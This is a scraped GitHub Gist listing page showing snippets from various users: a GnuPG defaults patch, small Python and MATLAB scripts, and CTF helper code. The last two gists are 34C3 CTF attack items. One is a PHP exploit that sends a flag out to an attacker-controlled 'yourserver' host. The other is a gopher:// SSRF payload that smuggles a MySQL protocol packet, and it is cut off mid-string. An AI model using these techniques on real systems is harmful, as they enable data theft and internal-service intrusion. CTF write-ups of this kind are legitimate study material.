Skip to content

Instantly share code, notes, and snippets.

View stefan2904's full-sized avatar
🚲
¯\_(ツ)_/¯

Stefan stefan2904

🚲
¯\_(ツ)_/¯
View GitHub Profile
@coruus
coruus / gnupg-defaults.patch
Created August 5, 2014 20:16
Update GnuPG defaults
I hope this patch is acceptable in something like its present form. If
so, I'll write up the documentation updates as well. (But I suspect it
may spark some discussion.)
It updates some rather outdated defaults hard-wired into GnuPG:
1. Default cipher algorithm: CAST5 -> AES256
2. Default digest algorithm: SHA1 -> SHA512
3. Default S2K hash algorithm: SHA1 -> SHA256
4. Default S2K iterations: 255 (this takes about 400ms in E2E, not
@twu
twu / Scratchpad
Created February 27, 2015 09:32
A more "sophisticated" approach to using the TUGBox.
#!/usr/bin/env python
import urllib2
import json
if __name__ == '__main__':
# Computer Science (557), BSc. (140), Current "Studienjahr" (1034)
# .json -> simple json
# .js -> jsonp
# webcal:// ... /exams.ical -> iCalendar
url = 'http://tugbox.herokuapp.com/tug/curriculum/557,140,1034/exams.ical'
clear all;
close all;
clc;
load data_logreg.mat;
isOctave = exist('OCTAVE_VERSION', 'builtin') ~= 0;
eta = 1;
options.degrees = [1 2 5 15];
anonymous
anonymous / blackbox
Created May 18, 2015 00:23
import socket
import random
host = "blackbox_ced7f267475a0299446fa86c26d77161.quals.shallweplayaga.me"
port = 18324
inputs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ "
s = socket.socket()
s.connect((host, port))
anonymous
anonymous / blackbox
Created May 18, 2015 00:16
151 out = ""
152 shift = 0
153 for j in xrange(0,len(ans),4):
154 try:
155 i = j
156 out += inputs[(inputs.index(ans[i])-inputs.index(key[0])-shift)%len(inputs)]
157 shift += inputs.index(ans[i])+1
158 i = j+1
159 out += inputs[(inputs.index(ans[i])-inputs.index(key[0])-shift)%len(inputs)]
160 shift += inputs.index(ans[i])+1
@MichaelMayorov
MichaelMayorov / post_flags.py
Created November 20, 2012 09:06
Script for automatic posting flags on competitions like RuCTF(e)
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Copyright::MichaelMayorov(marchael@ya.ru)
"""
Simple python(tested on 2.7.3) script for automatic posting flags on competitions like RuCTF(e)
It stores flags in sqlite3 database which located in same directory with script.
@mjbommar
mjbommar / archiveTwitter.py
Created February 26, 2011 19:49
Archive tweets from a search term going backwards through search.
'''
@author Michael J Bommarito II
@date Feb 26, 2011
@license Simplified BSD, (C) 2011.
This script demonstrates how to use Python to archive historical tweets.
'''
import codecs
import csv
@eboda
eboda / exploit.php
Last active December 29, 2017 22:52
34C3 CTF urlstorage exploit
<?php
$target = 'http://127.0.0.1/';
$exploit = 'http://yourserver:1337/exploit.php';
$exfil = 'http://yourserver:1337/FLAG=';
function enc($s) {
$res = '';
for ($i = 0; $i < strlen($s); $i++) {
$res .= '\\' . dechex(ord($s[$i]));
}
@eboda
eboda / foo
Created December 29, 2017 20:07
34C3 CTF extract0r solution
gopher://foo@[cafebabe.cf]@yolo.com:3306/A%48%00%00%01%85%a6%3f%20%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%34%73%74%33%72%5f%6f%76%33%72%6c%30%72%64%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%00%4c%01%00%00%03%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%30%78%35%30%34%62%30%33%30%34%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%61%30%30%30%30%30%30%36%37%36%39%36%64%36%64%36%35%35%66%36%36%36%63%36%31%36%37%20%61%73%20%62%69%6e%61%72%79%29%2c%20%72%70%61%64%28%66%6c%61%67%2c%20%31%30%30%2c%20%27%41%27%29%2c%20%63%61%73%74%28%30%78%35%30%34%62%30%31%30%32%31%65%30%33%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%37%36%39%36%64%36%64%36%35%35%